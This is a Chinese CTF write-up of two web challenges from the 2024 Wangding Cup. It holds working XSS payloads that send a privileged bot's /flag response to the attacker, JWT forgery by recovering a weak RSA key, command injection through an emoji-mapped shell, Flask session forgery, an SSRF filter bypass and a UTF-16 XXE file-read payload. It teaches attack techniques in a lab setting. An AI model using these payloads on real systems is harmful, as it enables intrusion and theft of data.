当前位置: 首页 > article >正文

2024 网鼎杯 - 青龙组 Web WP

2024 网鼎杯 - 青龙组

WEB - 02

打开容器一个登录界面,随便输入账号密码可以进到漏洞界面

这里有一个发送给boss的功能,一眼xss

有三个接口:/flag 、/update 、/submit

  • /flag :要求boss才能访问,
  • /update : Post参数content
  • /submit :Post参数content_hash,账号唯一值

思路:/submit一个XSS请求,让boss访问/flag后,将/flag的内容Post到/update实现带外,最后在我们的页面上就能看到flag。

然后访问/flag,需要boss才能访问,这里我们就可以提交一个xss,然后让boss先访问/flag,再把数据带给我们的content里面

payload1:

<script>var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;

xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        var flagData = xmlhttp.responseText;  
        var flag1 = btoa(flagData);
        var remoteServerUrl = '/content/4a95828e3f0037bfe446ae0e693912df';
        var xmlhttp2 = new XMLHttpRequest();
        xmlhttp2.open("POST", remoteServerUrl, true);
        xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xmlhttp2.send("content=" + encodeURIComponent(flag1))
    }
};
xmlhttp.open('GET', '/flag', true);
xmlhttp.send();</script>

payload2:

<script>
fetch('/flag').then(response=>response.text()).then(data=>{fetch('/content/a9571d0
e889a28847d8682903',{method:'POST',headers:{'Content-Type':'application/x-www-form- 
urlencoded'},body:"content="+data});})
</script>

更新任务后,发送给boss

接着回到页面可以看到flag已经发过来了

在这里插入图片描述

WEB - 01

开局是一个登录界面,输入任意账号密码都可以登录,会给出一个唯一的session和jwt。

0x01 伪造JWT用户为admin

参考:https://ctftime.org/writeup/30541

思路:获取两个jwt值,通过这两个jwt值来获取公钥,再爆破私钥

工具:rsa_sign2n

https://github.com/silentsignal/rsa_sign2n

setup:
git clone https://github.com/silentsignal/rsa_sign2n.git
cd rsa_sign2n
cd standalone
pip3 install -r requirements.txt
try:
python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjcyMC41NjkyMTk4fQ.DGGgcbIX160FUcUr6JWLn8HLGQM3n_DuIQ0tDx0AcTKXr_72_Z6LdMFo33yScKiobGFpjzlAg6lDMsCa4UkJqQfteA38Mo74B7ITHpjh0tnXrxejm20F-X23kTkKT_SLVw eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjc0MS40NDAyMzA0fQ.DxCSrEVez5gtm_Xfjq1eaiGRf5PKNeYXti3loMHYMURKQdjILlp1dZlCSed1Y4R1B9mOsbAujxOYCLsdjQhzIbLV04XHZ96UOXH0dXaqNTb_PBxCsZ5ELs_CFX6qNm9MJA

在这里插入图片描述

 $ python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjcyMC41NjkyMTk4fQ.DGGgcbIX160FUcUr6JWLn8HLGQM3n_DuIQ0tDx0AcTKXr_72_Z6LdMFo33yScKiobGFpjzlAg6lDMsCa4UkJqQfteA38Mo74B7ITHpjh0tnXrxejm20F-X23kTkKT_SLVw eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMjUzNjc0MS40NDAyMzA0fQ.DxCSrEVez5gtm_Xfjq1eaiGRf5PKNeYXti3loMHYMURKQdjILlp1dZlCSed1Y4R1B9mOsbAujxOYCLsdjQhzIbLV04XHZ96UOXH0dXaqNTb_PBxCsZ5ELs_CFX6qNm9MJA
[*] GCD:  0x1d
[*] GCD:  0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803        
[+] Found n with multiplier 1  :
 0x108b7c75aee1e2b9df3692a2cc54b100d111002193ebc9c3cf575e4b16f595cc28d9b47a65d1f3774aa3db05649085589230fe23bfcc2ef876b4134dafde4484d7bde8c9b80016d9c9aed53a0334ae3483cc833374301e1a7829a5f5800a793803
[+] Written to 108b7c75aee1e2b9_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.lyqnPK5DTAuTUuPtYqHqpxBHvOOEvNW7LC3JEIp5nYI'
[+] Written to 108b7c75aee1e2b9_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.-57iIgXSr30CvqcRJFOhshZjzzetQQAYWjR2lkgb6Ow'
[+] Found n with multiplier 29  :
 0x920d1e8a71b85eaf6bd01744d6c84f79f7c2361f955f3bb7b3907e2cedfc567cfeadf290c09e76df43717bc5acb5265d51233f069d1c1a390f097e43db86c6c9a571f54cf72ced06f45fa0e5a0b68f0d5f53f8f259ef620424bf1a1ee5e0de9f
[+] Written to 920d1e8a71b85eaf_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.x_6R5MJgV8_YFE8bfzFRR93r9Upf_nVLPTdzuOYnZLw'
[+] Written to 920d1e8a71b85eaf_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.R8n6JL3Z5HlCA5bp0wvNxxJag64RxMEAYctRkLgJXp4'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.lyqnPK5DTAuTUuPtYqHqpxBHvOOEvNW7LC3JEIp5nYI
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.-57iIgXSr30CvqcRJFOhshZjzzetQQAYWjR2lkgb6Ow
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.x_6R5MJgV8_YFE8bfzFRR93r9Upf_nVLPTdzuOYnZLw
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbiI6IGZhbHNlLCAibm93IjogMTYzMjUzNjcyMC41NjkyMTk4LCAiZXhwIjogMTczMTA1NTc0NH0.R8n6JL3Z5HlCA5bp0wvNxxJag64RxMEAYctRkLgJXp4

获取到了公钥

-----BEGIN PUBLIC KEY-----
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD
z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ
ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB
-----END PUBLIC KEY-----

现在我们有了公钥,让我们使用另一个特殊工具来看看是否可以从中生成私钥(只有当它是一个“弱”公钥时才有可能)。

参考工具如下:https://github.com/RsaCtfTool/RsaCtfTool

setup:
git clone git@github.com:Ganapati/RsaCtfTool.git
cd RsaCtfTool
pip3 install -r requirements.txt
 $ python3 RsaCtfTool.py --publickey ./public.pem --private  
['./public.pem']

[*] Testing key ./public.pem.
attack initialized...
attack initialized...
[*] Performing nonRSA attack on ./public.pem.
[+] Time elapsed: 0.0024 sec.
[*] Performing mersenne_primes attack on ./public.pem.
 27%|████████████████████████████████████████████████████▋                                                                                                                                           | 14/51 [00:00<00:00, 53723.93it/s]
[+] Time elapsed: 0.0317 sec.
[*] Performing pastctfprimes attack on ./public.pem.
[+] loading prime list file data/ti_rsa_signing_keys.txt...
100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 34/34 [00:00<00:00, 702494.27it/s]
[+] loading prime list file data/pastctfprimes.txt...
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 121/121 [00:00<00:00, 1185772.86it/s]
[+] loading prime list file data/visa_emv.txt...
100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2/2 [00:00<00:00, 27413.75it/s]
[+] Time elapsed: 0.0037 sec.
[*] Performing lucas_gcd attack on ./public.pem.
  0%|                                                                                                                                                                                              | 6/9999 [00:00<00:00, 115971.54it/s]
[*] Attack success with lucas_gcd method !
[+] Total time elapsed min,max,avg: 0.0024/0.0317/0.0126 sec.

Results for ./public.pem:

Private key :
-----BEGIN RSA PRIVATE KEY-----
MIIB+wIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHz
d0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAe
GngppfWACnk4AwIDAQABAmEKpfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUd
sIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2BwMRfpIfKlS/QW0gX/TR+btntJc6P8
wnks0vynK8S9A+l4kegxYrSxAmEAkg0einG4Xq9r0BdE1shPeffCNh+VXzu3s5B+
LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G9F+g
5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEdAmBhCOJfrQqHrhj9WlhcMx3KtTeNahJ+
AVkdrkSGaV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOSnJ4k
dR6HwflOVyaziHjre5zY79i5VAi7vAeTDZUCAQUCYG7MKNL1KsNqmGjlg6vEGPts
ga15EDaXO+lTIe0eeM7aaO3kJzEFdKlfTUNp0nfE1AiWUx+AA6n2UgczpjybNbN0
rroXE8nOS+WGVr/bBhQ/HC4MTevzZNcBZNYFyN+OZw==
-----END RSA PRIVATE KEY-----

成功获取私钥

那么接下来就可以伪造jwt了,可以用赛博厨子,jwt.io, https://www.bejson.com/jwt/等网站。

接着直接伪造jwt即可,成功伪造了用户名为admin的用户

0x02 伪造session

img

是一个emoji executor,参考https://naupjjin.github.io/2024/06/30/AIS3-pre-exam-2024-Writeup/

    "😀": ":D",
    "😁": ":D",
    "😂": ":')",
    "🤣": "XD",
    "😃": ":D",
    "😄": ":D",
    "😅": "':D",
    "😆": "XD",
    "😉": ";)",
    "😊": ":)",
    "😋": ":P",
    "😎": "B)",
    "😍": ":)",
    "😘": ":*",#
    "😗": ":*",#
    "😙": ":*",#
    "😚": ":*",#
    "☺️": ":)",
    "🙂": ":)",
    "🤗": ":)",
    "🤩": ":)",
    "🤔": ":?",#
    "🤨": ":/",#
    "😐": ":|",
    "😑": ":|",
    "😶": ":|",
    "🙄": ":/",
    "😏": ":]",
    "😣": ">:",
    "😥": ":'(",
    "😮": ":o",
    "🤐": ":x",
    "😯": ":o",
    "😪": ":'(",
    "😫": ">:(",
    "😴": "Zzz",
    "😌": ":)",
    "😛": ":P",
    "😜": ";P",
    "😝": "XP",
    "🤤": ":P",
    "😒": ":/",
    "😓": ";/",#
    "😔": ":(",
    "😕": ":/",#
    "🙃": "(:",
    "🤑": "$)",
    "😲": ":O",
    "☹️": ":(",
    "🙁": ":(",
    "😖": ">:(",
    "😞": ":(",
    "😟": ":(",
    "😤": ">:(",
    "😢": ":'(",
    "😭": ":'(",
    "😦": ":(",
    "😧": ">:(",
    "😨": ":O",
    "😩": ">:(",
    "🤯": ":O",
    "😬": ":E",
    "😰": ":(",
    "😱": ":O",
    "🥵": ">:(",
    "🥶": ":(",
    "😳": ":$",
    "🤪": ":P",
    "😵": "X(",
    "🥴": ":P",
    "😠": ">:(",
    "😡": ">:(",
    "🤬": "#$%&!",
    "🤕": ":(",
    "🤢": "X(",
    "🤮": ":P",
    "🤧": ":'(",
    "😇": "O:)",
    "🥳": ":D",
    "🥺": ":'(",
    "🤡": ":o)",
    "🤠": "Y)",
    "🤥": ":L",
    "🤫": ":x",
    "🤭": ":x",
    "🐶": "dog",
    "🐱": "cat",#
    "🐭": "mouse",
    "🐹": "hamster",
    "🐰": "rabbit",
    "🦊": "fox",
    "🐻": "bear",
    "🐼": "panda",
    "🐨": "koala",
    "🐯": "tiger",
    "🦁": "lion",
    "🐮": "cow",
    "🐷": "pig",
    "🐽": "pig nose",
    "🐸": "frog",
    "🐒": "monkey",
    "🐔": "chicken",
    "🐧": "penguin",
    "🐦": "bird",
    "🐤": "baby chick",
    "🐣": "hatching chick",
    "🐥": "front-facing baby chick",
    "🦆": "duck",
    "🦅": "eagle",
    "🦉": "owl",
    "🦇": "bat",
    "🐺": "wolf",
    "🐗": "boar",
    "🐴": "horse",
    "🦄": "unicorn",
    "🐝": "bee",
    "🐛": "bug",
    "🦋": "butterfly",
    "🐌": "snail",
    "🐞": "lady beetle",
    "🐜": "ant",
    "🦟": "mosquito",
    "🦗": "cricket",
    "🕷️": "spider",
    "🕸️": "spider web",
    "🦂": "scorpion",
    "🐢": "turtle",
    "🐍": "python", #
    "🦎": "lizard",
    "🦖": "T-Rex",
    "🦕": "sauropod",
    "🐙": "octopus",
    "🦑": "squid",
    "🦐": "shrimp",
    "🦞": "lobster",
    "🦀": "crab",
    "🐡": "blowfish",
    "🐠": "tropical fish",
    "🐟": "fish",
    "🐬": "dolphin",
    "🐳": "whale",
    "🐋": "whale",
    "🦈": "shark",
    "🐊": "crocodile",
    "🐅": "tiger",
    "🐆": "leopard",
    "🦓": "zebra",
    "🦍": "gorilla",
    "🦧": "orangutan",
    "🦣": "mammoth",
    "🐘": "elephant",
    "🦛": "hippopotamus",
    "🦏": "rhinoceros",
    "🐪": "camel",
    "🐫": "two-hump camel",
    "🦒": "giraffe",
    "🦘": "kangaroo",
    "🦬": "bison",
    "🦥": "sloth",
    "🦦": "otter",
    "🦨": "skunk",
    "🦡": "badger",
    "🐾": "paw prints",
    "◼️": "black square",
    "◻️": "white square",
    "◾": "black medium square",
    "◽": "white medium square",
    "▪️": "black small square",
    "▫️": "white small square",
    "🔶": "large orange diamond",
    "🔷": "large blue diamond",
    "🔸": "small orange diamond",
    "🔹": "small blue diamond",
    "🔺": "triangle",
    "🔻": "triangle",
    "🔼": "triangle",
    "🔽": "triangle",
    "🔘": "circle",
    "⚪": "circle",
    "⚫": "black circle",
    "🟠": "orange circle",
    "🟢": "green circle",
    "🔵": "blue circle",
    "🟣": "purple circle",
    "🟡": "yellow circle",
    "🟤": "brown circle",
    "⭕": "empty circle",
    "🅰️": "A",
    "🅱️": "B",
    "🅾️": "O",
    "ℹ️": "i",
    "🅿️": "P",
    "Ⓜ️": "M",
    "🆎": "AB",
    "🆑": "CL",
    "🆒": "COOL",
    "🆓": "FREE",
    "🆔": "ID",
    "🆕": "NEW",
    "🆖": "NG",
    "🆗": "OK",
    "🆘": "SOS",
    "🆙": "UP",
    "🆚": "VS",
    "㊗️": "祝",
    "㊙️": "秘",
    "🈺": "營",
    "🈯": "指",
    "🉐": "得",
    "🈹": "割",
    "🈚": "無",
    "🈲": "禁",
    "🈸": "申",
    "🈴": "合",
    "🈳": "空",
    "🈵": "滿",
    "🈶": "有",
    "🈷️": "月",
    "🚗": "car",
    "🚕": "taxi",
    "🚙": "SUV",
    "🚌": "bus",
    "🚎": "trolleybus",
    "🏎️": "race car",
    "🚓": "police car",
    "🚑": "ambulance",
    "🚒": "fire engine",
    "🚐": "minibus",
    "🚚": "delivery truck",
    "🚛": "articulated lorry",
    "🚜": "tractor",
    "🛴": "kick scooter",
    "🚲": "bicycle",
    "🛵": "scooter",
    "🏍️": "motorcycle",
    "✈️": "airplane",
    "🚀": "rocket",
    "🛸": "UFO",
    "🚁": "helicopter",
    "🛶": "canoe",
    "⛵": "sailboat",
    "🚤": "speedboat",
    "🛳️": "passenger ship",
    "⛴️": "ferry",
    "🛥️": "motor boat",
    "🚢": "ship",
    "👨": "man",
    "👩": "woman",
    "👶": "baby",
    "🧓": "old man",
    "👵": "old woman",
    "💿": "CD",
    "📀": "DVD",
    "📱": "phone",
    "💻": "laptop",
    "🖥️": "pc",
    "🖨️": "printer",
    "⌨️": "keyboard",
    "🖱️": "mouse",
    "🖲️": "trackball",
    "🕹️": "joystick",
    "🗜️": "clamp",
    "💾": "floppy disk",
    "💽": "minidisc",
    "☎️": "telephone",
    "📟": "pager",
    "📺": "television",
    "📻": "radio",
    "🎙️": "studio microphone",
    "🎚️": "level slider",
    "🎛️": "control knobs",
    "⏰": "alarm clock",
    "🕰️": "mantelpiece clock",
    "⌚": "watch",
    "📡": "satellite antenna",
    "🔋": "battery",
    "🔌": "plug",
    "🚩": "flag",
    "⓿": "0",
    "❶": "1",
    "❷": "2",
    "❸": "3",
    "❹": "4",
    "❺": "5",
    "❻": "6",
    "❼": "7",
    "❽": "8",
    "❾": "9",
    "❿": "10",
    "⭐": "*",
    "➕": "+",
    "➖": "-",
    "✖️": "×",
    "➗": "÷"

先🐱 ⭐来查看所有文件(夹)

在这里插入图片描述

🐱 ⭐ = cat *

💿 🚩😜😐🐱 ⭐ = cd flag;p:|cat *

先用分号分隔,再用|去执行后面的命令

发现一个app.py

@app.route('/upload', methods=['GET', 'POST'])
def upload():
    token = request.cookies.get('token')
    if not token:
        flash('Please login first', 'warning')
        return redirect(url_for('login'))
    payload = decode_jwt(token)
    form = UploadForm()
    if not payload or payload['username'] != 'admin':
        error_message = 'You do not have permission to access this page.Your username is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    if not session['role'] or session['role'] != 'admin':
        error_message = 'You do not have permission to access this page.Your role is not admin.'
        return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
    

    if form.validate_on_submit():
        file = form.avatar.data
        if file:
            filename = secure_filename(file.filename)
            files = {'file': (filename, file.stream, file.content_type)}
            php_service_url = 'http://127.0.0.1/upload.php'
            response = requests.post(php_service_url, files=files)
            if response.status_code == 200:
                flash(response.text, 'success')
            else:
                flash('Failed to upload file to PHP service', 'danger')
    return render_template('upload.html', form=form)

@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
    token = request.cookies.get('token')
    form = GameForm()
    if not token:
        error_message = 'Please login first'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    payload = decode_jwt(token)
    if not payload:
        error_message = 'Invalid or expired token. Please login again.'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    if not payload['username']=='admin':
        error_message = 'You do not have permission to access this page.Your username is not admin'
        return render_template('view_uploads.html', form=form, error_message=error_message)
    user_input = None
    if form.validate_on_submit():
        filepath = form.user_input.data
        pathurl = request.form.get('path')
        if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
            error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
            return render_template('view_uploads.html', form=form, error_message=error_message)
        params = {'s': filepath}
        try:
            response = requests.get("http://"+pathurl, params=params, timeout=1)
            return render_template('view_uploads.html', form=form, user_input=response.text)
        except:
            error_message = "500! Server Error"
            return render_template('view_uploads.html', form=form, error_message=error_message)
    return render_template('view_uploads.html', form=form, user_input=user_input)

我们直接读源码,可以得到secret_key为36f8efbea152e50b23290e0ed707b4b0

则可以伪造session来实现访问/upload:

python flask_session_cookie_manager3.py encode -s "36f8efbea152e50b23290e0ed707b4b0" -t "{'csrf_token' : 'bbbbbbbbbbbbbbbbbbbbbb' , 'role' : 'admin'}"

session=eJyrVkouLkqLL8nPTs1TslJKwgqUdJSK8nNSgfKJKbmZeUq1ABeJEv4.ZyylsQ.hVb1LVDwhTxLtmPOecpia2ebRbA

0x03 文件上传

现在可以访问/upload路由了,主要是下面这部分:

将文件直接发送到内部的upload.php实现文件上传

    if form.validate_on_submit():
        file = form.avatar.data
        if file:
            filename = secure_filename(file.filename)
            files = {'file': (filename, file.stream, file.content_type)}
            php_service_url = 'http://127.0.0.1/upload.php'
            response = requests.post(php_service_url, files=files)
            if response.status_code == 200:
                flash(response.text, 'success')
            else:
                flash('Failed to upload file to PHP service', 'danger')

在/view_upload路由下:

存在waf:

if (“www.testctf.com” not in pathurl) or (“127.0.0.1” in pathurl) or (‘/var/www/html/uploads/’ not in filepath) or (‘.’ in filepath):

要满足

  • “www.testctf.com” in pathurl
  • “127.0.0.1” not in pathurl

绕过:http://www.testctf.com@0.0.0.0、http://www.testctf.com@localhost,这种写法相当于user:passwd@host,@前面的是用户信息

  • ‘/var/www/html/uploads/’ in filepath
  • ‘.’ not in filepath

绕过(也不算):user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8

过了waf后,访问http://+pathurl/?params=params

if form.validate_on_submit():    
        filepath = form.user_input.data
        pathurl = request.form.get('path')
        if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
            error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
            return render_template('view_uploads.html', form=form, error_message=error_message)
        params = {'s': filepath}
        try:
            response = requests.get("http://"+pathurl, params=params, timeout=1)
            return render_template('view_uploads.html', form=form, user_input=response.text)

Request:

POST /view_uploads HTTP/1.1    
Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
Origin: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Connection: close
Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads
Cookie: session=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1YzJhYzlmNmU5MyIsInJvbGUiOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQ&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8&submit=Submit

然后先随便上传一个文件,然后读取,发现会报Failed to load XML file,猜测会解析xml,直接打xxe,但是过滤了system等许多关键字,那么采用utf-16编码绕过,直接读flag.php文件

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]>  
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

iconv -f utf8 -t utf16 1.xml>3.xml

然后上传3.xml,再去读取,得到flag

参考链接:https://www.cnblogs.com/Meteor-Kai/articles/18526034
https://www.cnblogs.com/gxngxngxn/p/18514445


http://www.kler.cn/a/384962.html

相关文章:

  • 网页版五子棋——匹配模块(客户端开发)
  • 关于elementui el-radio 赋值问题
  • 计算用户订购率梧桐数据库和oracle数据库sql分析
  • JAVA笔记 | ResponseBodyEmitter等异步流式接口快速学习
  • 【LeetCode】【算法】148. 排序链表
  • 药品进销存表格制作 佳易王药店药品入库出库台账库存管理系统操作教程
  • Chrome调试工具(查看CSS属性)
  • Java每日刷题之二分算法
  • TDengine 集群能力:超越 InfluxDB 的水平扩展与开源优势
  • ‌webdriver.Chrome()参数简介
  • 【计网不挂科】计算机网络期末考试——【选择题&填空题&判断题&简述题】题库(1)
  • acmessl.cn推荐一款好用的免费申请ssl证书的平台
  • 飞凌嵌入式FET527N-C核心板现已适配Android 13
  • Python/FastAPI 的并发能力对比
  • 【EMNLP2024】面向长文本的文视频表征学习与检索模型 VideoCLIP-XL
  • 人工智能——小白学习指南
  • 算法详解——链表的归并排序非递归解法
  • 持续优化,构建更好地 auto git commit 体验
  • JMM(一)[volatilr关键字、乐观锁和悲观锁]
  • 摄像机视频分析软件下载LiteAIServer视频智能分析平台裸土检测
  • 理解Web登录机制:会话管理与跟踪技术解析(一)
  • 【C++】std::cout与std::cin缓冲区
  • 在鱼皮的模拟面试里面学习有感
  • 【Linux基础IO】文件描述符分配规则 重定向
  • 从0开始学习Linux——文件目录
  • docker安装zookeeper,以及zk可视化界面介绍